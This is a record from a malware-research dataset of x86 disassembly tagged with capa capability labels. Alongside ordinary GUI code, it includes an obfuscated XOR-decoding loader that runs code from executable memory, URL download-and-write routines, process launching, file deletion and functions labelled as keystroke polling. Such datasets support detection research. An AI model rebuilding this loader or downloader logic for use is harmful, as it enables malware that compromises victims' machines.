joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e97a8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x4e97bf
add esp, 0xfffffff0
call fcn.00407e88
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00455318
mov eax, dword [0x55abd8]
cmp byte [eax], 0
jne 0x4e97ec
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x184], al
mov eax, dword [0x55af44]
cmp word [eax + 2], 0
jne 0x4e9806
mov eax, dword [0x55af44]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004eb99c
mov eax, dword [0x55b08c]
cmp word [eax + 2], 0
jne 0x4e9820
mov eax, dword [0x55b08c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004ebba0
mov byte [ebx + 0x39], 0
mov dl, 1
mov eax, dword [0x463d38]
call fcn.00469d38
mov esi, eax
mov dword [ebx + 0x40], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4ec118
mov dl, 1
mov eax, dword [0x43aaf8]
call fcn.0040784c
mov dword [ebx + 0x94], eax
mov dl, 1
mov eax, dword [0x43aaf8]
call fcn.0040784c
mov dword [ebx + 0xb4], eax
xor eax, eax
mov dword [ebx + 0x64], eax
xor eax, eax
mov dword [ebx + 0x88], eax
mov dword [ebx + 0x60], 0xff000018
mov dword [ebx + 0x7c], 0x1f4
mov byte [ebx + 0x80], 1
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x78], 0x9c4
mov byte [ebx + 0x8c], 0
mov byte [ebx + 0xa9], 1
mov byte [ebx + 0xc0], 1
mov dl, 1
mov eax, dword [0x468618]
call fcn.00473384
mov esi, eax
mov dword [ebx + 0xa4], esi
push 0x4e9a04
mov eax, dword [0x55ade0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.00473814
mov eax, dword [ebx + 0xa4]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4ec400
mov dl, 1
mov eax, dword [0x43aaf8]
call fcn.0040784c
mov dword [ebx + 0x9c], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x55ade0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.0042349c
test eax, eax
je 0x4e9934
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.0042324c
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00423480
test eax, eax
je 0x4e994c
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x90]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.0040a330
push ebx
push 0x4eb374
call fcn.004df360
mov dword [ebx + 0x180], eax
mov byte [ebx + 0xd4], 0
mov eax, dword [0x55abd8]
cmp byte [eax], 0
jne 0x4e999d
mov eax, ebx
call fcn.004e9bc4
mov byte [ebx + 0x5d], 1
mov byte [ebx + 0x5e], 1
mov byte [ebx + 0x5f], 1
mov byte [ebx + 0xaa], 1
mov byte [ebx + 0xd5], 0
mov byte [ebx + 0xe0], 0
xor eax, eax
mov dword [ebx + 0xd8], eax
mov byte [ebx + 0xd7], 0
xor eax, eax
mov dword [ebx + 0xac], eax
mov eax, ebx
call fcn.004ec648
mov eax, ebx
call fcn.004ed274
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4e99fa
call fcn.00407ee0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e9efc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x178]
test eax, eax
je 0x4e9fa8
cmp dword [ebx + 0x98], 0
jne 0x4e9fa2
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4e9e34
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x94]
cmp dword [eax + 8], 0
je 0x4e9fa2
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
mov eax, esi
mov edx, 0xffffffec
push edx
push eax
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4e9f68
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x94]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4e9fa2
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x94]
call fcn.00448120
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4e9f77
inc dword [ebx + 0x98]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4ea1c8
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x5612f4]
cmp dword [eax + 0x178], 0
je 0x4ea32d
test bl, bl
jne 0x4ea27b
cmp dword [esi + 0xa0], 0
jne 0x4ea270
mov eax, esi
call fcn.004ed0c4
push eax
push 0x4ea0d4
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x48], 0
je 0x4ea241
mov eax, dword [0x5612f4]
cmp byte [eax + 0xd7], 0
je 0x4ea241
mov eax, dword [esi + 0xdc]
call fcn.0040b5ac
mov edi, eax
cmp edi, 0
jl 0x4ea241
push 0
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ea22a
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ea270
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.00448120
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ea250
inc dword [esi + 0xa0]
jmp 0x4ea32d
cmp dword [esi + 0xa0], 0
jle 0x4ea32d
dec dword [esi + 0xa0]
cmp dword [esi + 0xa0], 0
jne 0x4ea32d
cmp dword [esi + 0x48], 0
je 0x4ea2d8
mov eax, dword [0x5612f4]
cmp byte [eax + 0xd7], 0
je 0x4ea2d8
mov eax, dword [esi + 0xdc]
call fcn.0040b5ac
mov edi, eax
cmp edi, 0
jl 0x4ea2d8
push 5
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ea2c1
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ea307
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.00448120
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ea2e7
mov eax, dword [esi + 0x9c]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xdc]
mov ecx, 1
mov edx, dword [0x4dbd00]
call fcn.0040b758
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x50147c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5015db
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x55a500], 0
mov word [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
call sub.user32.dll_GetKeyboardLayoutNameW
mov dl, 1
mov eax, dword [0x45e074]
call fcn.0045f1c0
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x5015b1
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0045f2a8
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x20]
mov ecx, 0xa
call fcn.0040a330
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x5015f4
call fcn.0040a4e0
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.0045f534
test al, al
je 0x50159b
lea ecx, [ebp - 4]
mov edx, 0x501668
mov eax, dword [ebp - 0xc]
call fcn.0045fdbc
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0042a418
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x50159b
xor edx, edx
push ebp
push 0x501594
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x501680
mov eax, dword [ebp - 8]
push eax
call fcn.00410850
test eax, eax
je 0x50157d
mov ebx, eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x50157d
call fcn.00501408
test eax, eax
je 0x50156d
mov eax, dword [ebx + 0x50]
jmp 0x501570
mov eax, dword [ebx + 0x28]
and eax, 1
cmp eax, 1
sete byte [0x55a500]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50159b
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_2
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5015b8
mov eax, dword [ebp - 0xc]
call fcn.0040787c
ret

Function at 0x5016e4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x50172b
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x50170e
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x50171f
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x50172b
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x50ee08
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x561388], 0
je 0x50ef49
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x55b04c]
mov edx, dword [edx]
xor al, byte [edx + 0xc0]
je 0x50ef49
mov eax, dword [0x56138c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x561388]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x50ef18
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x561388]
call fcn.00448120
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x50ef10
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1f2], 0
je 0x50ef10
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x68]
test al, al
je 0x50ef10
mov eax, dword [ebp - 0x14]
call fcn.0051a988
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x50ef10
push ebp
call fcn.0050edc4
pop ecx
test al, al
jne 0x50ef10
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffba
call fcn.00407bd8
test al, al
je 0x50ef10
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.00407bd8
cmp byte [ebp - 1], 0
je 0x50ef10
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x28]
call fcn.0040ef6c
test al, al
je 0x50ef10
mov edx, dword [ebp - 0x14]
mov eax, dword [0x56138c]
call fcn.0050e524
inc edi
dec ebx
jne 0x50ee6d
mov eax, dword [0x56138c]
cmp dword [eax + 8], 0
jle 0x50ef30
mov eax, dword [0x56138c]
call fcn.0050e5dc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x50ef49
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0050ec2c
pop ecx
test al, al
jne 0x50ef49
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4034cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4034db
pop dword [ebp - 0x24]
mov eax, 0x37044bcb
add eax, 0xc93be910
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf54aba4c
sub dword [ebp - 0x34], 0xa6f87501
mov dword [ebp - 0x30], 0x1b7f4434
sub dword [ebp - 0x30], 0xe94bf7ef
mov dword [ebp - 0x2c], 0xf87d1a42
sub dword [ebp - 0x2c], 0xac30d614
mov dword [ebp - 0x28], 0x70fc0fd0
sub dword [ebp - 0x28], 0x70fc0fd0
lea eax, [ebp - 0x34]
push eax
mov eax, 0xb12b3718
add eax, 0x4f15093c
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xe6aa9519
add dword [ebp - 0x34], 0x8dc7d43d
mov dword [ebp - 0x30], 0x7ef8987f
add dword [ebp - 0x30], 0xc273c8f6
mov dword [ebp - 0x2c], 0xae6978bb
add dword [ebp - 0x2c], 0xb505f3b1
mov dword [ebp - 0x28], 0xd7e0333
sub dword [ebp - 0x28], 0xd7e0333
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x291a527b
add eax, 0xd725edd5
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x38d04
push 0
call eax
mov ecx, 0x4fb6
xor edi, edi
add edi, eax
mov esi, 0x7e4dd361
sub esi, 0x7e0d4f61
add esi, dword [ebp - 0x24]
mov ebx, 0x78727204
add ebx, 0x8c451e00
sub dword [ebp - 8], ebx
mov edx, dword [esi]
add dword [ebp - 8], edx
xor edx, ebx
sub dword [ebp - 4], esi
mov dword [edi], edx
add dword [ebp - 0x18], edx
add edi, 0x98ca1556
add edi, 0x6735eaae
add esi, 0xfe009612
sub esi, 0xfe00960e
loop 0x4035f9
add eax, 0x741475ac
add eax, 0x8becbbff
mov ebx, eax
add eax, 5
mov ecx, 0xa5a43f75
sub ecx, 0xa5643f75
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1e8]
sub esp, 0x268
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x1e4], eax
mov eax, dword [ebp + 0x1f0]
push esi
push edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1f4]
push pe_nt_image_headers32
mov dword [ebp - 0x28], eax
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.0040a990
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
push dword [ebp - 0x2c]
stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x80], 0x44
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push 8
push esi
push esi
push esi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x401092
mov dword [ebx], 0x2709
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
xor al, al
jmp 0x4010d5
push 0x41f684
call fcn.0040406a
pop ecx
push 0x1e
pop ecx
cdq
idiv ecx
add edx, 0x2710
push edx
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ebx
push dword [ebp - 0x3c]
mov dword [ebx], 0x2706
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov al, 1
mov ecx, dword [ebp + 0x1e4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404045
add ebp, 0x1e8
leave
ret
Function at 0x4010ec
Capabilities:
Delete file
Move file

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x294], eax
mov eax, dword [ebp + 0x2a0]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebx, ecx
mov esi, 0x41f008
push esi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x80], eax
call edi
cmp eax, 6
jge 0x401138
mov dword [ebx], 0x2707
xor al, al
jmp 0x401206
push 0x103
lea eax, [ebp + 0x191]
push 0
push eax
mov byte [ebp + 0x190], 0
call fcn.0040a990
add esp, 0xc
lea edx, [ebp + 0x190]
mov ecx, esi
call fcn.00403811
test al, al
jne 0x40117b
lea eax, [ebp + 0x190]
push eax
mov dword [ebx], 0x2708
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x401131
mov ebx, 0x41a5b0
push ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
call esi
push ebx
lea eax, [ebp - 0x78]
push eax
call esi
mov ebx, 0x41f51c
push ebx
call edi
test eax, eax
jle 0x4011c3
push 0x41a5b4
lea eax, [ebp - 0x78]
push eax
call esi
push ebx
lea eax, [ebp - 0x78]
push eax
call esi
push dword [ebp - 0x80]
mov ebx, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
call section..text
push 0x41f684
call fcn.0040406a
add esp, 0xc
test eax, eax
je 0x401204
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x401204
push 4
push eax
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
mov al, 1
mov ecx, dword [ebp + 0x294]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404045
add ebp, 0x298
leave
ret
Function at 0x401698
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x3fb4]
mov eax, 0x4034
call fcn.0040e2d0
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x3fb0], eax
mov eax, dword [ebp + 0x3fbc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x3fc0]
push esi
mov dword [ebp - 0x78], eax
call ebx
mov edi, eax
push 0x1ffd
lea eax, [ebp - 0x5f]
push 0
push eax
mov dword [ebp - 0x64], edi
mov byte [ebp - 0x60], 0
call fcn.0040a990
add esp, 0xc
inc edi
push edi
push esi
lea eax, [ebp + 0x1fa0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
xor eax, eax
mov byte [ebp + 0x3fa0], 0
lea edi, [ebp + 0x3fa1]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x41a5c0
lea eax, [ebp + 0x3fa0]
push eax
call esi
push 0x41a5c8
lea eax, [ebp + 0x3fa0]
push eax
call esi
push 0x41a5cc
lea eax, [ebp + 0x3fa0]
push eax
call esi
push 0x41a5d0
lea eax, [ebp + 0x3fa0]
push eax
call esi
push 0x41a5d4
lea eax, [ebp + 0x3fa0]
push eax
call esi
mov eax, dword [ebp - 0x64]
xor edi, edi
shr eax, 1
mov dword [ebp - 0x74], eax
je 0x4017e5
lea eax, [ebp + 0x1fa0]
mov dword [ebp - 0x64], eax
lea eax, [ebp + 0x3fa0]
push eax
call ebx
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
push 3
push dword [ebp - 0x64]
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], edx
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x70]
push str._02x
push eax
mov byte [ebp - 0x6e], 0
call fcn.004041cb
mov eax, dword [ebp - 0x7c]
movsx eax, byte [ebp + eax + 0x3fa0]
xor dword [ebp - 0x68], eax
push dword [ebp - 0x68]
lea eax, [ebp - 0x6c]
push 0x41a5e8
push eax
call fcn.004040c6
add esp, 0x18
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x60]
push eax
call esi
add dword [ebp - 0x64], 2
inc edi
cmp edi, dword [ebp - 0x74]
jb 0x401776
lea eax, [ebp - 0x60]
push eax
call ebx
mov esi, dword [ebp - 0x78]
cmp eax, dword [esi]
lea eax, [ebp - 0x60]
push eax
jle 0x4017fe
call ebx
mov dword [esi], eax
xor al, al
jmp 0x401811
call ebx
mov dword [esi], eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov al, 1
mov ecx, dword [ebp + 0x3fb0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404045
add ebp, 0x3fb4
leave
ret
Function at 0x40365a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x108]
push eax
mov esi, 0xf0
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp eax, esi
pop esi
ja 0x4036bb
test eax, eax
je 0x4036bb
lea eax, [ebp - 0x20c]
push eax
push 0
push 0x41a92c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
je 0x4036bb
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov al, 1
jmp 0x4036bd
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404045
leave
ret

Function at 0x403811
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x28c]
sub esp, 0x30c
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x288], eax
push esi
push edi
mov edi, edx
mov esi, ecx
call fcn.0040365a
test al, al
je 0x40388a
lea eax, [ebp + 0x184]
push ebx
push eax
mov byte [ebp - 0x71], 1
call fcn.004036c9
pop ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
lea eax, [ebp + 0x184]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x7c], eax
cmp eax, ebx
je 0x403887
push ebx
push 0x80000000
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x4038a1
push dword [ebp - 0x7c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
pop ebx
mov ecx, dword [ebp + 0x288]
pop edi
xor ecx, ebp
pop esi
call fcn.00404045
add ebp, 0x28c
leave
ret
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
jne 0x4038cf
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x7c]
call esi
mov al, bl
jmp 0x403889
lea eax, [ebp - 0x78]
push eax
push 0x1f4
lea eax, [ebp - 0x70]
push eax
push esi
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x80], ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403912
push ebx
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x403912
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x80]
jne 0x403912
cmp eax, ebx
jne 0x4038cf
jmp 0x403915
mov byte [ebp - 0x71], bl
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov bl, byte [ebp - 0x71]
jmp 0x4038bd
Function at 0x403921
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x298], eax
mov eax, dword [ebp + 0x2a4]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x2a8]
push ebx
mov dword [ebp - 0x74], eax
mov eax, dword [eax]
push esi
mov dword [ebp - 0x78], eax
push edi
lea eax, [ebp + 0x194]
push eax
mov edi, ecx
mov byte [ebp - 0x61], 1
call fcn.004036c9
pop ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp esi, ebx
jne 0x40398d
xor al, al
jmp 0x403a11
push ebx
push 0x80000000
push ebx
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x68], eax
cmp eax, ebx
jne 0x4039ad
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x403986
xor edi, edi
lea eax, [ebp - 0x6c]
push eax
push 0x1f4
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x68]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4039f6
mov esi, dword [ebp - 0x6c]
lea eax, [esi + edi]
mov dword [ebp - 0x80], eax
cmp eax, dword [ebp - 0x78]
jae 0x4039f6
push esi
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0x70]
add eax, edi
push eax
call fcn.0040b680
mov edi, dword [ebp - 0x80]
add esp, 0xc
cmp esi, ebx
jne 0x4039af
jmp 0x4039f9
mov byte [ebp - 0x61], bl
push dword [ebp - 0x68]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x7c]
call esi
mov eax, dword [ebp - 0x74]
mov dword [eax], edi
mov al, byte [ebp - 0x61]
mov ecx, dword [ebp + 0x298]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404045
add ebp, 0x29c
leave
ret